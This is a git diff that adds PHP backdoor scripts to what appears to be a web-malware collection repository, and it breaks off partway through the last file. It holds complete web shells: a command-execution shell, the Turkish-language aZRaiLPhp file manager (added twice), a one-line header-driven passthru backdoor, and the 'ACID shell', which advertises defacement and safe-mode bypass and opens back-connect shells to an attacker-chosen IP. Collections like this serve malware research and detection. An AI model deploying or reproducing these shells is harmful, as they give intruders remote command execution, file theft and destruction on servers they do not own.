+<h1>PHP Shell <?php echo offender ?></h1> +<?php +if (ini_get('register_globals') != '1') { + /* We'll register the variables as globals: */ + if (!empty($HTTP_POST_VARS)) + extract($HTTP_POST_VARS); + + if (!empty($HTTP_GET_VARS)) + extract($HTTP_GET_VARS); + if (!empty($HTTP_SERVER_VARS)) + extract($HTTP_SERVER_VARS); +} +/* First we check if there has been asked for a working directory. */ +if (!empty($work_dir)) { + /* A workdir has been asked for */ + if (!empty($command)) { + if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { + /* We try and match a cd command. */ + if ($regs[1][0] == '/') { + $new_dir = $regs[1]; // 'cd /something/...' + } else { + $new_dir = $work_dir . '/' . $regs[1]; // 'cd somedir/...' + } + if (file_exists($new_dir) && is_dir($new_dir)) { + $work_dir = $new_dir; + } + unset($command); + } + } +} +if (file_exists($work_dir) && is_dir($work_dir)) { + /* We change directory to that dir: */ + chdir($work_dir); +} +/* We now update $work_dir to avoid things like '/foo/../bar': */ +$work_dir = exec('pwd'); +?> +<form name="myform" action="<?php echo $PHP_SELF ?>" method="post"> +<p>Current working directory: <b> +<?php +$work_dir_splitted = explode('/', substr($work_dir, 1)); +echo '<a href="' . $PHP_SELF . '?work_dir=/">Root</a>/'; +if (!empty($work_dir_splitted[0])) { + $path = ''; + for ($i = 0; $i < count($work_dir_splitted); $i++) { + $path .= '/' . $work_dir_splitted[$i]; + printf('<a href="%s?work_dir=%s">%s</a>/', + $PHP_SELF, urlencode($path), $work_dir_splitted[$i]); + } +} +?></b></p> +<p>Choose new working directory: +<select name="work_dir" onfiltered="this.form.submit()"> +<?php +/* Now we make a list of the directories. */ +$dir_handle = opendir($work_dir); +/* Run through all the files and directories to find the dirs. */ +while ($dir = readdir($dir_handle)) { + if (is_dir($dir)) { + if ($dir == '.') { + echo "<option value=\"$work_dir\" selected>Current Directory</option>\n"; + } elseif ($dir == '..') { + /* We have found the parent dir. We must be carefull if the parent + directory is the root directory (/). */ + if (strlen($work_dir) == 1) { + /* work_dir is only 1 charecter - it can only be / There's no + parent directory then. */ + } elseif (strrpos($work_dir, '/') == 0) { + /* The last / in work_dir were the first charecter. + This means that we have a top-level directory + eg. /bin or /home etc... */ + echo "<option value=\"/\">Parent Directory</option>\n"; + } else { + /* We do a little bit of string-manipulation to find the parent + directory... Trust me - it works :-) */ + echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n"; + } + } else { + if ($work_dir == '/') { + echo "<option value=\"$work_dir$dir\">$dir</option>\n"; + } else { + echo "<option value=\"$work_dir/$dir\">$dir</option>\n"; + } + } + } +} +closedir($dir_handle); +?> +</select></p> +<p>Command: <input type="text" name="command" size="60"> +<input name="submit_btn" type="submit" value="Execute Command"></p> +<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p> +<textarea cols="80" rows="20" readonly> +<?php +if (!empty($command)) { + if ($stderr) { + $tmpfile = tempnam('/tmp', 'phpshell'); + $command .= " 1> $tmpfile 2>&1; " . + "cat $tmpfile; rm $tmpfile"; + } else if ($command == 'ls') { + /* ls looks much better with ' -F', IMHO. */ + $command .= ' -F'; + } + system($command); +} +?> diff --git a/web-malware-collection-master/Backdoors/PHP/aZRaiLPhp v1.0.php b/web-malware-collection-master/Backdoors/PHP/aZRaiLPhp v1.0.php new file mode 100755 index 0000000..17aed57 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/aZRaiLPhp v1.0.php @@ -0,0 +1,284 @@ +<?php +$default=$DOCUMENT_ROOT; +$this_file="./azrailphp.php"; + +if(isset($save)){ +$fname=str_replace(" ","_",$fname); +$fname=str_replace("%20","_",$fname); +header("Cache-control: private"); +header("Content-type: application/force-download"); +header("Content-Length: ".filesize($save)); +header("Content-Disposition: attachment; filename=$fname"); + +$fp = fopen($save, 'r'); +fpassthru($fp); +fclose($fp); +unset($save); +exit; +} + +if ( function_exists('ini_get') ) { + $onoff = ini_get('register_globals'); +} else { + $onoff = get_cfg_var('register_globals'); +} +if ($onoff != 1) { + @extract($_POST, EXTR_SKIP); + @extract($_GET, EXTR_SKIP); +} + + +function deltree($deldir) { + $mydir=@dir($deldir); + while($file=$mydir->read()) { + if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { + @chmod("$deldir/$file",0777); + deltree("$deldir/$file"); + } + if (is_file("$deldir/$file")) { + @chmod("$deldir/$file",0777); + @unlink("$deldir/$file"); + } + } + $mydir->close(); + @chmod("$deldir",0777); + echo @rmdir($deldir) ? "<center><b><font color='#0000FF'>S�L�ND�:$deldir/$file</b></font></center>" : "<center><font color=\"#ff0000\">Silinemedi:$deldir/$file</font></center>"; + } + +if ($op=='phpinfo'){ +$fonk_kap = get_cfg_var("fonksiyonlar�_kapat"); + echo $phpinfo=(!eregi("phpinfo",$fonk_kapat)) ? phpinfo() : "<center>phpinfo() Komutu �al��m�yiii</center>"; + exit; +} + + +echo "<html> + <head> + <title>azrail 1.0 by C-W-M</title> + </head> + + <body bgcolor='#000000' text='#008000' link='#00FF00' vlink='#00FF00' alink='#00FF00'> + </body>"; + +echo "<center><font size='+3' color='#FF0000'><b> aZRaiLPhp v1.0!!!</b></font></center><br> + <center><font size='+2' color='#FFFFFF'>C-W-M</font><font size='+2' color='#FF0000'>HACKER</font><br> + <br>"; +echo "<center><a href='./$this_file?op=phpinfo' target='_blank'>PHP INFO</a></center>"; +echo "<br> + <br>"; + +echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------"; +echo "<div align=center> + <font size='+1' color='#0000FF'>Root Klas�r: $DOCUMENT_ROOT</font><br> + <font size='+1'color='#0000FF'>aZRaiLPhP'nin URL'si: http://$HTTP_HOST$REDIRECT_URL</font> <form method=post action=$this_file>"; + +if(!isset($dir)){ +$dir="$default"; +} +echo "<input type=text size=60 name=dir value='$dir'> +<input type=submit value='GIT'><br> +</form> +</div>"; + +if ($op=='up'){ + $path=dir; + echo "<br><br><center><font size='+1' color='#FF0000'><b>DOSYA GONDERME</b></font></center><br>"; +if(isset($dosya_gonder)) { + +if (copy ( $dosya_gonder, "$dir/$dosya_gonder_name" )){ + echo "<center><font color='#0000FF'>Dosya Ba�ar�yla G�nderildi</font></center>"; +} +} elseif(empty($dosya_gonder)) { +$path=$dir; +$dir = $dosya_dizin; +echo "$dir"; +echo "<FORM ENCTYPE='multipart/form-data' ACTION='$this_file?op=up&dir=$path' METHOD='POST'>"; +echo "<center><INPUT TYPE='file' NAME='dosya_gonder'></center><br>"; + +echo "<br><center><INPUT TYPE='SUBMIT' NAME='dy' VALUE='Dosya Yolla!'></center>"; +echo "</form>"; + + +echo "</html>"; +} else { +die ("<center><font color='#FF0000'>Dosya kopyalanam�yor!</font><center>"); +} +} + +if($op=='mf'){ + $path=$dir; + if(isset($dismi) && isset($kodlar)){ + $ydosya="$path/$dismi"; + if(file_exists("$path/$dismi")){ + $dos= "B�yle Bir Dosya Vard� �zerine Yaz�ld�"; + } else { + $dos = "Dosya Olu�turuldu"; + } + touch ("$path/$dismi") or die("Dosya Olu�turulam�yor"); + $ydosya2 = fopen("$ydosya", 'w') or die("Dosya yazmak i�in a��lam�yor"); + fwrite($ydosya2, $kodlar) or die("Dosyaya yaz�lam�yor"); + fclose($ydosya2); + echo "<center><font color='#0000FF'>$dos</font></center>"; + } else { + + echo "<FORM METHOD='POST' ACTION='$this_file?op=mf&dir=$path'>"; + echo "<center>Dosya �smi :<input type='text' name='dismi'></center><br>"; + echo "<br>"; + echo "<center>KODLAR</center><br>"; + echo "<center><TEXTAREA NAME='kodlar' ROWS='19' COLS='52'></TEXTAREA></center>"; + echo "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>"; + echo "</form>"; + } +} + +if($op=='md'){ + $path=$dir; + if(isset($kismi) && isset($okmf)){ + $klas�r="$path/$kismi"; + mkdir("$klas�r", 0777) or die ("<center><font color='#0000FF'>Klas�r Olu�turulam�yor</font></center>"); + echo "<center><font color='#0000FF'>Klas�r Olu�turuldu</font></center>"; + } + + echo "<FORM METHOD='POST' ACTION='$this_file?op=md&dir=$path'>"; + echo "<center>Klas�r �smi :<input type='text' name='kismi'></center><br>"; + echo "<br>"; + echo "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>"; + echo "</form>"; +} + + +if($op=='del'){ +unlink("$fname"); +} + + +if($op=='dd'){ + $dir=$here; + $deldirs=$yol; + if(!file_exists("$deldirs")) { + echo "<font color=\"#ff0000\">Dosya Yok</font>"; + } else { + deltree($deldirs); + } +} + + + +if($op=='edit'){ +$yol=$fname; +$yold=$path; +if (isset($ok)){ +$dosya = fopen("$yol", 'w') or die("Dosya A��lam�yor"); +$metin=$tarea; +fwrite($dosya, $metin) or die("Yaz�lam�yor!"); +fclose($dosya); +echo "<center><font color='#0000FF'Dosya Ba�ar�yla D�zenlendi</font></center>"; +} else { +$path=$dir; +echo "<center>D�ZENLE: $yol</center>"; +$dosya = fopen("$yol", 'r') or die("<center><font color='#FF0000'Dosya A��lam�yor</font></center>"); +$boyut=filesize($yol); +$duzen = @fread ($dosya, $boyut); +echo "<form method=post action=$this_file?op=edit&fname=$yol&dir=$path>"; +echo "<center><TEXTAREA style='WIDTH: 476px; HEIGHT: 383px' name=tarea rows=19 cols=52>$duzen</TEXTAREA></center><br>"; +echo "<center><input type='Submit' value='TAMAM' name='ok'></center>"; +fclose($dosya); +$duzen=htmlspecialchars($duzen); +echo "</form>"; +} +} + +if($op=='efp2'){ +$fileperm=base_convert($_POST['fileperm'],8,10); + echo $msg=@chmod($dir."/".$dismi2,$fileperm) ? "<font color='#0000FF'><b>$dismi2 �S�ML� DOSYANIN</font></b>" : "<font color=\"#ff0000\">DE��T�R�LEMED�!!</font>"; + echo " <font color='#0000FF'>CHMODU ".substr(base_convert(@fileperms($dir."/".$dismi2),10,8),-4)." OLARAK DE��T�R�LD�</font>"; +} + +if($op=='efp'){ +$izinler2=substr(base_convert(@fileperms($fname),10,8),-4); +echo "<form method=post action=./$this_file?op=efp2> + <div align=center><input name='dismi2' type='text' value='$dismi' class='input' readonly>CHMOD: + <input type='text' name='fileperm' size='20' value='$izinler2' class='input'> + <input name='dir' type='hidden' value='$yol'> + <input type='submit' value='TAMAM' class='input'></div><br> + </form>"; + +} + + +$path=$dir; +if(isset($dir)){ +if ($dir = @opendir("$dir")) { +while (($file = readdir($dir)) !== false) { +if($file!="." && $file!=".."){ +if(is_file("$path/$file")){ +$disk_space=filesize("$path/$file"); +$kb=$disk_space/1024; +$total_kb = number_format($kb, 2, '.', ''); +$total_kb2="Kb"; + + +echo "<div align=right><font face='arial' size='2' color='#C0C0C0'><b> $file</b></font> - <a href='./$this_file?save=$path/$file&fname=$file'>indir</a> - <a href='./$this_file?op=edit&fname=$path/$file&dir=$path'>d�zenle</a> - "; +echo "<a href='./$this_file?op=del&fname=$path/$file&dir=$path'>sil</a> - <b>$total_kb$total_kb2</b> - "; +@$fileperm=substr(base_convert(fileperms("$path/$file"),10,8),-4); +echo "<a href='./$this_file?op=efp&fname=$path/$file&dismi=$file&yol=$path'><font color='#FFFF00'>$fileperm</font></a>"; +echo "<br></div>\n"; +}else{ +echo "<div align=left><a href='./$this_file?dir=$path/$file'>G�T></a> <font face='arial' size='3' color='#808080'> $path/$file</font> - <b>DIR</b> - <a href='./$this_file?op=dd&yol=$path/$file&here=$path'>Sil</a> - "; +$dirperm=substr(base_convert(fileperms("$path/$file"),10,8),-4); +echo "<font color='#FFFF00'>$dirperm</font>"; +echo " <br></div>\n"; + +} +} +} +closedir($dir); +} +} + + + + + +echo "<center><a href='./$this_file?dir=$DOCUMENT_ROOT'>Root Klas�r�ne Git</a></center>"; +if(file_exists("B:\\")){ +echo "<center><a href='./$this_file?dir=B:\\'>B:\\</a></center>"; +} else {} +if(file_exists("C:\\")){ +echo "<center><a href='./$this_file?dir=C:\\'>C:\\</a></center>"; +} else {} +if (file_exists("D:\\")){ + echo "<center><a href='./$this_file?dir=D:\\'>D:\\</a></center>"; +} else {} +if (file_exists("E:\\")){ + echo "<center><a href='./$this_file?dir=E:\\'>E:\\</a></center>"; +} else {} +if (file_exists("F:\\")){ + echo "<center><a href='./$this_file?dir=F:\\'>F:\\</a></center>"; +} else {} +if (file_exists("G:\\")){ + echo "<center><a href='./$this_file?dir=G:\\'>G:\\</a></center>"; +} else {} +if (file_exists("H:\\")){ + echo "<center><a href='./$this_file?dir=H:\\'>H:\\</a></center>"; +} else {} + + +echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------"; +echo "<center><font size='+1' color='#FF0000'><b>SERVER B�LG�LER�</b></font><br></center>"; +echo "<br><u><b>$SERVER_SIGNATURE</b></u>"; +echo "<b><u>Software</u>: $SERVER_SOFTWARE</b><br>"; +echo "<b><u>Server IP</u>: $SERVER_ADDR</b><br>"; +echo "<br>"; +echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------"; +echo "<center><font size='+1' color='#FF0000'><b>��LEMLER</b></font><br></center>"; +echo "<br><center><font size='4'><a href='$this_file?op=up&dir=$path'>Dosya G�nder</a></font></center>"; +echo "<br><center><font size='4'><a href='$this_file?op=mf&dir=$path'>Dosya Olu�tur</a></font></center>"; +echo "<br><center><font size='4'><a href='$this_file?op=md&dir=$path'>Klas�r Olu�tur</a></font></center>"; +echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------"; +echo "<center>T�m haklar� sahibi C-W-M'ye aittir</center><br>"; +?> + + + + diff --git a/web-malware-collection-master/Backdoors/PHP/aZRaiLPhp v1.0.txt b/web-malware-collection-master/Backdoors/PHP/aZRaiLPhp v1.0.txt new file mode 100755 index 0000000..17aed57 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/aZRaiLPhp v1.0.txt @@ -0,0 +1,284 @@ +<?php +$default=$DOCUMENT_ROOT; +$this_file="./azrailphp.php"; + +if(isset($save)){ +$fname=str_replace(" ","_",$fname); +$fname=str_replace("%20","_",$fname); +header("Cache-control: private"); +header("Content-type: application/force-download"); +header("Content-Length: ".filesize($save)); +header("Content-Disposition: attachment; filename=$fname"); + +$fp = fopen($save, 'r'); +fpassthru($fp); +fclose($fp); +unset($save); +exit; +} + +if ( function_exists('ini_get') ) { + $onoff = ini_get('register_globals'); +} else { + $onoff = get_cfg_var('register_globals'); +} +if ($onoff != 1) { + @extract($_POST, EXTR_SKIP); + @extract($_GET, EXTR_SKIP); +} + + +function deltree($deldir) { + $mydir=@dir($deldir); + while($file=$mydir->read()) { + if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { + @chmod("$deldir/$file",0777); + deltree("$deldir/$file"); + } + if (is_file("$deldir/$file")) { + @chmod("$deldir/$file",0777); + @unlink("$deldir/$file"); + } + } + $mydir->close(); + @chmod("$deldir",0777); + echo @rmdir($deldir) ? "<center><b><font color='#0000FF'>S�L�ND�:$deldir/$file</b></font></center>" : "<center><font color=\"#ff0000\">Silinemedi:$deldir/$file</font></center>"; + } + +if ($op=='phpinfo'){ +$fonk_kap = get_cfg_var("fonksiyonlar�_kapat"); + echo $phpinfo=(!eregi("phpinfo",$fonk_kapat)) ? phpinfo() : "<center>phpinfo() Komutu �al��m�yiii</center>"; + exit; +} + + +echo "<html> + <head> + <title>azrail 1.0 by C-W-M</title> + </head> + + <body bgcolor='#000000' text='#008000' link='#00FF00' vlink='#00FF00' alink='#00FF00'> + </body>"; + +echo "<center><font size='+3' color='#FF0000'><b> aZRaiLPhp v1.0!!!</b></font></center><br> + <center><font size='+2' color='#FFFFFF'>C-W-M</font><font size='+2' color='#FF0000'>HACKER</font><br> + <br>"; +echo "<center><a href='./$this_file?op=phpinfo' target='_blank'>PHP INFO</a></center>"; +echo "<br> + <br>"; + +echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------"; +echo "<div align=center> + <font size='+1' color='#0000FF'>Root Klas�r: $DOCUMENT_ROOT</font><br> + <font size='+1'color='#0000FF'>aZRaiLPhP'nin URL'si: http://$HTTP_HOST$REDIRECT_URL</font> <form method=post action=$this_file>"; + +if(!isset($dir)){ +$dir="$default"; +} +echo "<input type=text size=60 name=dir value='$dir'> +<input type=submit value='GIT'><br> +</form> +</div>"; + +if ($op=='up'){ + $path=dir; + echo "<br><br><center><font size='+1' color='#FF0000'><b>DOSYA GONDERME</b></font></center><br>"; +if(isset($dosya_gonder)) { + +if (copy ( $dosya_gonder, "$dir/$dosya_gonder_name" )){ + echo "<center><font color='#0000FF'>Dosya Ba�ar�yla G�nderildi</font></center>"; +} +} elseif(empty($dosya_gonder)) { +$path=$dir; +$dir = $dosya_dizin; +echo "$dir"; +echo "<FORM ENCTYPE='multipart/form-data' ACTION='$this_file?op=up&dir=$path' METHOD='POST'>"; +echo "<center><INPUT TYPE='file' NAME='dosya_gonder'></center><br>"; + +echo "<br><center><INPUT TYPE='SUBMIT' NAME='dy' VALUE='Dosya Yolla!'></center>"; +echo "</form>"; + + +echo "</html>"; +} else { +die ("<center><font color='#FF0000'>Dosya kopyalanam�yor!</font><center>"); +} +} + +if($op=='mf'){ + $path=$dir; + if(isset($dismi) && isset($kodlar)){ + $ydosya="$path/$dismi"; + if(file_exists("$path/$dismi")){ + $dos= "B�yle Bir Dosya Vard� �zerine Yaz�ld�"; + } else { + $dos = "Dosya Olu�turuldu"; + } + touch ("$path/$dismi") or die("Dosya Olu�turulam�yor"); + $ydosya2 = fopen("$ydosya", 'w') or die("Dosya yazmak i�in a��lam�yor"); + fwrite($ydosya2, $kodlar) or die("Dosyaya yaz�lam�yor"); + fclose($ydosya2); + echo "<center><font color='#0000FF'>$dos</font></center>"; + } else { + + echo "<FORM METHOD='POST' ACTION='$this_file?op=mf&dir=$path'>"; + echo "<center>Dosya �smi :<input type='text' name='dismi'></center><br>"; + echo "<br>"; + echo "<center>KODLAR</center><br>"; + echo "<center><TEXTAREA NAME='kodlar' ROWS='19' COLS='52'></TEXTAREA></center>"; + echo "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>"; + echo "</form>"; + } +} + +if($op=='md'){ + $path=$dir; + if(isset($kismi) && isset($okmf)){ + $klas�r="$path/$kismi"; + mkdir("$klas�r", 0777) or die ("<center><font color='#0000FF'>Klas�r Olu�turulam�yor</font></center>"); + echo "<center><font color='#0000FF'>Klas�r Olu�turuldu</font></center>"; + } + + echo "<FORM METHOD='POST' ACTION='$this_file?op=md&dir=$path'>"; + echo "<center>Klas�r �smi :<input type='text' name='kismi'></center><br>"; + echo "<br>"; + echo "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>"; + echo "</form>"; +} + + +if($op=='del'){ +unlink("$fname"); +} + + +if($op=='dd'){ + $dir=$here; + $deldirs=$yol; + if(!file_exists("$deldirs")) { + echo "<font color=\"#ff0000\">Dosya Yok</font>"; + } else { + deltree($deldirs); + } +} + + + +if($op=='edit'){ +$yol=$fname; +$yold=$path; +if (isset($ok)){ +$dosya = fopen("$yol", 'w') or die("Dosya A��lam�yor"); +$metin=$tarea; +fwrite($dosya, $metin) or die("Yaz�lam�yor!"); +fclose($dosya); +echo "<center><font color='#0000FF'Dosya Ba�ar�yla D�zenlendi</font></center>"; +} else { +$path=$dir; +echo "<center>D�ZENLE: $yol</center>"; +$dosya = fopen("$yol", 'r') or die("<center><font color='#FF0000'Dosya A��lam�yor</font></center>"); +$boyut=filesize($yol); +$duzen = @fread ($dosya, $boyut); +echo "<form method=post action=$this_file?op=edit&fname=$yol&dir=$path>"; +echo "<center><TEXTAREA style='WIDTH: 476px; HEIGHT: 383px' name=tarea rows=19 cols=52>$duzen</TEXTAREA></center><br>"; +echo "<center><input type='Submit' value='TAMAM' name='ok'></center>"; +fclose($dosya); +$duzen=htmlspecialchars($duzen); +echo "</form>"; +} +} + +if($op=='efp2'){ +$fileperm=base_convert($_POST['fileperm'],8,10); + echo $msg=@chmod($dir."/".$dismi2,$fileperm) ? "<font color='#0000FF'><b>$dismi2 �S�ML� DOSYANIN</font></b>" : "<font color=\"#ff0000\">DE��T�R�LEMED�!!</font>"; + echo " <font color='#0000FF'>CHMODU ".substr(base_convert(@fileperms($dir."/".$dismi2),10,8),-4)." OLARAK DE��T�R�LD�</font>"; +} + +if($op=='efp'){ +$izinler2=substr(base_convert(@fileperms($fname),10,8),-4); +echo "<form method=post action=./$this_file?op=efp2> + <div align=center><input name='dismi2' type='text' value='$dismi' class='input' readonly>CHMOD: + <input type='text' name='fileperm' size='20' value='$izinler2' class='input'> + <input name='dir' type='hidden' value='$yol'> + <input type='submit' value='TAMAM' class='input'></div><br> + </form>"; + +} + + +$path=$dir; +if(isset($dir)){ +if ($dir = @opendir("$dir")) { +while (($file = readdir($dir)) !== false) { +if($file!="." && $file!=".."){ +if(is_file("$path/$file")){ +$disk_space=filesize("$path/$file"); +$kb=$disk_space/1024; +$total_kb = number_format($kb, 2, '.', ''); +$total_kb2="Kb"; + + +echo "<div align=right><font face='arial' size='2' color='#C0C0C0'><b> $file</b></font> - <a href='./$this_file?save=$path/$file&fname=$file'>indir</a> - <a href='./$this_file?op=edit&fname=$path/$file&dir=$path'>d�zenle</a> - "; +echo "<a href='./$this_file?op=del&fname=$path/$file&dir=$path'>sil</a> - <b>$total_kb$total_kb2</b> - "; +@$fileperm=substr(base_convert(fileperms("$path/$file"),10,8),-4); +echo "<a href='./$this_file?op=efp&fname=$path/$file&dismi=$file&yol=$path'><font color='#FFFF00'>$fileperm</font></a>"; +echo "<br></div>\n"; +}else{ +echo "<div align=left><a href='./$this_file?dir=$path/$file'>G�T></a> <font face='arial' size='3' color='#808080'> $path/$file</font> - <b>DIR</b> - <a href='./$this_file?op=dd&yol=$path/$file&here=$path'>Sil</a> - "; +$dirperm=substr(base_convert(fileperms("$path/$file"),10,8),-4); +echo "<font color='#FFFF00'>$dirperm</font>"; +echo " <br></div>\n"; + +} +} +} +closedir($dir); +} +} + + + + + +echo "<center><a href='./$this_file?dir=$DOCUMENT_ROOT'>Root Klas�r�ne Git</a></center>"; +if(file_exists("B:\\")){ +echo "<center><a href='./$this_file?dir=B:\\'>B:\\</a></center>"; +} else {} +if(file_exists("C:\\")){ +echo "<center><a href='./$this_file?dir=C:\\'>C:\\</a></center>"; +} else {} +if (file_exists("D:\\")){ + echo "<center><a href='./$this_file?dir=D:\\'>D:\\</a></center>"; +} else {} +if (file_exists("E:\\")){ + echo "<center><a href='./$this_file?dir=E:\\'>E:\\</a></center>"; +} else {} +if (file_exists("F:\\")){ + echo "<center><a href='./$this_file?dir=F:\\'>F:\\</a></center>"; +} else {} +if (file_exists("G:\\")){ + echo "<center><a href='./$this_file?dir=G:\\'>G:\\</a></center>"; +} else {} +if (file_exists("H:\\")){ + echo "<center><a href='./$this_file?dir=H:\\'>H:\\</a></center>"; +} else {} + + +echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------"; +echo "<center><font size='+1' color='#FF0000'><b>SERVER B�LG�LER�</b></font><br></center>"; +echo "<br><u><b>$SERVER_SIGNATURE</b></u>"; +echo "<b><u>Software</u>: $SERVER_SOFTWARE</b><br>"; +echo "<b><u>Server IP</u>: $SERVER_ADDR</b><br>"; +echo "<br>"; +echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------"; +echo "<center><font size='+1' color='#FF0000'><b>��LEMLER</b></font><br></center>"; +echo "<br><center><font size='4'><a href='$this_file?op=up&dir=$path'>Dosya G�nder</a></font></center>"; +echo "<br><center><font size='4'><a href='$this_file?op=mf&dir=$path'>Dosya Olu�tur</a></font></center>"; +echo "<br><center><font size='4'><a href='$this_file?op=md&dir=$path'>Klas�r Olu�tur</a></font></center>"; +echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------"; +echo "<center>T�m haklar� sahibi C-W-M'ye aittir</center><br>"; +?> + + + + diff --git a/web-malware-collection-master/Backdoors/PHP/accept_language.txt b/web-malware-collection-master/Backdoors/PHP/accept_language.txt new file mode 100755 index 0000000..b3c8e0a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/accept_language.txt @@ -0,0 +1 @@ +<?php passthru(getenv("HTTP_ACCEPT_LANGUAGE")); echo '<br> by q1w2e3r4'; ?> diff --git a/web-malware-collection-master/Backdoors/PHP/acid.php b/web-malware-collection-master/Backdoors/PHP/acid.php new file mode 100755 index 0000000..b66dfe9 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/acid.php @@ -0,0 +1,3276 @@ +<?php +/* +------------------------------------------------------------------------------------------- +private! private! private! private! private! private! private! private! private! private! +------------------------------------------------------------------------------------------- + [ THE ACID SHELL ] [~ VERSION V1 ~] [~#] +------------------------------------------------------------------------------------------- +[ Features ] +- Mass Defacement Tool +- Safe Mode Bypass +- Open_Basedir Bypass +- Fixed SQL managed +- FTP Brute Force Tool +- Fully Undetected +------------------------------------------------------------------------------------------- +------------------------------------------------------------------------------------------- + - Do no Leak - Do Not Sell - Do Not Distribute - +------------------------------------------------------------------------------------------- +private! private! private! private! private! private! private! private! private! private! +------------------------------------------------------------------------------------------- +*/ + +//w4ck1ng Shell +if (!function_exists('myshellexec')) +{ +if(is_callable('popen')){ +function myshellexec($command) { +if (!($p=popen("($command)2>&1",'r'))) { +return 126; +} +while (!feof($p)) { +$line=fgets($p,1000); +$out .= $line; +} +pclose($p); +return $out; +} +}else{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ''; + if (!empty($cmd)) + { + if (is_callable('exec') and !in_array('exec',$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable('system') and !in_array('system',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable('passthru') and !in_array('passthru',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,'r'))) + { + $result = ''; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +} +$sh_name = sh_name(); + + +$curdir = "./"; +$tmpdir = ""; +$tmpdir_logs = "./"; +$log_email = "email@email.com"; +$sess_cookie = "cookie1"; +$sort_default = "0a"; +$sort_save = TRUE; +$usefsbuff = TRUE; +$copy_unset = FALSE; +$surl_autofill_include = TRUE; +$updatenow = FALSE; +$gzipencode = TRUE; +$filestealth = TRUE; +$hexdump_lines = 8; +$hexdump_rows = 24; +$millink = milw0rm(); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +$disablefunc = getdisfunc(); +error_reporting(E_ERROR | E_PARSE); +@ini_set("max_execution_time",0); +@set_time_limit(0); #No Fx in SafeMode +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) { strips($GLOBALS); } +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +@$f = $_REQUEST["f"]; +@extract($_REQUEST["tpshcook"]); +foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } } + + +if ($surl_autofill_include) { + $include = "&"; + foreach (explode("&",getenv("QUERY_STRING")) as $v) { + $v = explode("=",$v); + $name = urldecode($v[0]); + $value = @urldecode($v[1]); + foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) { + if (strpos($value,$needle) === 0) { + $includestr .= urlencode($name)."=".urlencode($value)."&"; + } + } + } +} +#BC_ +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) +{ + $ip = gethostbyname($_SERVER["HTTP_HOST"]); + $por = $_POST['backconnectport']; + if(is_writable(".")){ + cfb("shbd",$backdoor); + chmod('shbd', 0777); + $cmd = "./shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; + }else{ + cfb("/tmp/shbd",$backdoor); + chmod('/tmp/shbd', 0777); + $cmd = "./tmp/shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) +{ + if(is_writable(".")){ + cf("back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("back")) { unlink("back"); } + }else{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("/tmp/back")) { unlink("/tmp/back"); } +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) +{ + if(is_writable(".")){ + cf("backc",$back_connect_c); + chmod('backc', 0777); + //$blah = ex("gcc back.c -o backc"); + $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port 